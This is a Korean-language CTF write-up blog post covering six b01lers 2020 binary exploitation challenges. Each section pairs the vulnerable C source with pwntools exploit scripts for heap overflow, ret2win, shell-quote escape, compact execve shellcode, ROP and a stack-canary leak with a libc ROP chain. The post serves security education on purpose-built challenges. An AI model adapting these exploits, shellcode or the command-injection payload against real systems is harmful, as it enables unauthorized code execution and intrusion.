There is no Spoon

keyword: `Heap overflow`

checksec

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

char * xor(char * src, char * dest, int len) {
    for(int i = 0; i < len - 1; i++) {
        dest[i] = src[i] ^ dest[i];
    }
    dest[len-1] = 0;
    return dest;
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    char buffer[256];
    int len = 256;

    printf("Neo, enter your matrix: ");
    len = read(0, buffer, len);

    char * buffer2 = malloc(strlen(buffer));

    int * changeme = malloc(sizeof(int));
    *changeme = 255;
    printf("Reality: %d\n", *changeme);
    
    printf("Make your choice: ");
    len = read(0, buffer2, len);

    printf("Now bend reality. Remember: there is no spoon.\n");
    char * result = xor(buffer2, buffer, len);
    printf("Result: %s\n", result);
    printf("Reality: %d\n", *changeme);

    if (*changeme != 0xff) {
        system("/bin/sh");
    }
}

바이너리는 `main()` 함수와 `xor()` 함수가 존재한다.

위 코드를 보면, 공격자가 값을 입력하면 그 길이 만큼 `malloc()` 함수로 동적 할당한다.

이는 `strlen()` 함수의 특성상 `\x00`으로 문자열의 길이를 조작할 수 있다.

 

이 때문에, `var_c`의 값과 할당받은 `rax_5`의 크기가 다르기 때문에 `read(0, rax_5, var_c)` 에서 `heap overflow` 가 발생하게 된다. `heap overflow` 를 일으켜 `0xff`의 값을 바꾸면 `system("/bin/sh")` 를 실행 할 수 있게 된다.

from pwn import *
import gdb_attach

p = remote("chal.ctf.b01lers.com", "1006")

payload = "A"+"\x00"
payload += "A"*50
p.sendlineafter(":", payload)

payload = "A"*33
p.sendlineafter(":", payload)

p.interactive()

 

 

 

 

 

the oracle

keyword: `RTL`

checksec

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char* argv[] = { NULL };
    char* envp[] = { NULL };

    execve("/bin/sh", argv, envp);
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    char buffer[16];

    printf("Know Thyself.\n");
    fgets(buffer, 128, stdin);
}

 

설명 할 것도 없다. `buffer overflow` 가 발생해 `ret`에 `win()` 함수를 overwrite 하면 된다.

from pwn import *

p = remote("chal.ctf.b01lers.com", "1015")
e = ELF("./chall")

payload = "A"*24
payload += p64(e.symbols["win"])
p.sendlineafter(".", payload)

p.interactive()

 

 

 

White Rabbit

keyword: `shell escape`

 

 

위 코드를 보면 `sprintf()` 함수에 문자열을 저장 한 뒤, `system()` 함수로 실행한다.

아래 문자열에서 싱글쿼터를 잘 escape 하면 shell을 실행 할 수 있다.

[ -f '%1$s' ] && cat '%1$s' || echo File does not exist

 

필자가 생각한 payload는 다음과 같다.

'];cat";/bin/sh;cat'

 

 

 

Free Your Mind

keyword: `shell craft`

#include <stdio.h>
#include <unistd.h>

char shellcode[16];

int main() {
    char binsh[8] = "/bin/sh";

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    printf("I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.\n");
    read(0, shellcode, 16);

    ((void (*)()) (shellcode))();
}

 

이번 문제는 공격자로 부터 16자리를 입력 받은 뒤 실행한다. 16자리 shell code를 작성해야 하는데, 이때는 풀 수가 없었다... 아무리 해도 16자리로 작성하는 방법을 알지 못했다.

 

풀이를 보니, `pop` 보다는 `xor` 명령어의 크기가 훨씬 작았다. 또한 `mov eax, 0x3b` 보다 `mov al, 0x3b` 로 크기를 줄일 수 있었다. 덕분에 `mov` 와 `lea` 차이를 몰랐는데.. 덕분에 알게됨

lea rdi, [rsp+0x08]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
from pwn import *
import gdb_attach

context.arch = "amd64"

p = process("./chall")

payload = asm("""
lea rdi, [rsp+0x08]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
""")

print("length: "+str(len(payload)))

p.sendafter(".", payload)

p.interactive()

 

 

 

 

 

 

See for Yourself

keyword: `ROP`

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char * binsh = "/bin/sh";

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    system(NULL);

    char * shellcode[0];

    printf("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself.\n");
    read(0, shellcode, 64);
}

 

shell을 실행시키기 위한 가젯들이 존재한다. 이를 이용해 `ROP` 로 shell을 실행하면 된다.

근데 `glibc 2.27` 버전에서 `do_system+1094` 부분에 에러가 발생한다. 

pop_rdi_ret = 0x401273
binsh = 0x402008
system = 0x401080

payload = "A"*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)

glibc 2.27 버전에서 발생하는 do_system+1094 에러 부분

이와 관련된 문제를 찾아보니... 솔직히 왜 이러한 에러가 발생하는지는 모르겠지만 `ret` 가젯만 넣어주면 해결되는 듯 하다. 따라서 최종 payload는 다음과 같다.

from pwn import *

p = remote("chal.ctf.b01lers.com", "1008")

pop_rdi_ret = 0x401273
binsh = 0x402008
system = 0x401080

payload = "A"*8
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter("yourself.", payload)

p.interactive()

 

 

 

 

 

 

Goodbye, Mr. Anderson

keyword: `canary leak`, `ROP`

#include <stdio.h>
#include <stdlib.h>

char name[16];

void yay() {
    asm("pop %rax");
    asm("syscall");
    return;
}

char * leak_stack_canary(char * buffer, int maxlen) {
    int length;

    scanf("%d", &length);
    if (length > maxlen) {
        exit(13);
    }

    fgetc(stdin);

    for (int i = 0; i <= length; i++) {
         buffer[i] = fgetc(stdin);
    }

    return buffer;
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    char buffer[24];

    printf("You hear that, Mr. Anderson? That's the sound of inevitability, that's the sound of your death, goodbye, Mr. Anderson.\n");

    leak_stack_canary(name, 16);

    leak_stack_canary(buffer, 64);
    printf("%s\n", buffer);
    leak_stack_canary(buffer, 64);
    printf("%s\n", buffer);
    leak_stack_canary(buffer, 128);
    printf("%s\n", buffer);
}

 

`main()` 함수에 2번째 `leak_stack_canary()` 함수에서 `BOF` 공격으로 `canary`를 leak 할 수 있다.

3번째 `leak_stack_canary()` 함수에서는 `libc_base`를 구할 수 있고, 마지막으로 `ROP` 로 shell을 실행 시킬 수 있다.

from pwn import *

p = remote("chal.ctf.b01lers.com", "1009")
e = ELF("./chall", checksec=False)
l = ELF("./leaks-libc")   # remote

######## Dummy #########
p.sendlineafter("Anderson.", "15")
p.sendline("A"*15)
########################


####### Get canary ########
p.sendline("24")
p.sendline("A"*24)
p.recvuntil("A\x0a")

canary = u64("\x00" + p.recv(7))
print("[*] canary: "+hex(canary))
#############################


###### Leak libc_base ########
p.sendline("39")
p.sendline("A"*39)
p.recvuntil("A\x0a")

__libc_start_main = u64(p.recvuntil("\x0a").replace("\x0a", "").ljust(8, "\x00")) - 231
libc_base = __libc_start_main - l.symbols["__libc_start_main"]
binsh = libc_base + l.search("/bin/sh").next()
system = libc_base + l.symbols["system"]
rdiret = libc_base + l.search(asm("pop rdi; ret")).next()
ret = libc_base + l.search(asm("ret")).next()
#############################


###### Send payload ########
payload = "A"*24
payload += p64(canary)
payload += "A"*8
payload += p64(rdiret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

p.sendline(str(len(payload)))
p.sendline(payload)
############################

p.interactive()

 

'CTF > etc CTF' 카테고리의 다른 글

[DamCTF 2020] write up  (1) 2020.10.12
[b01lers 2020 CTF] write up  (0) 2020.10.07
[Google CTF 2020] log-me-in write up  (5) 2020.08.27
[Google CTF 2020] pasteurize write up  (0) 2020.08.27
InCTF2020 - coins write up  (0) 2020.08.02
[CTF] - wechall Training: MySQL II 풀이  (0) 2019.04.10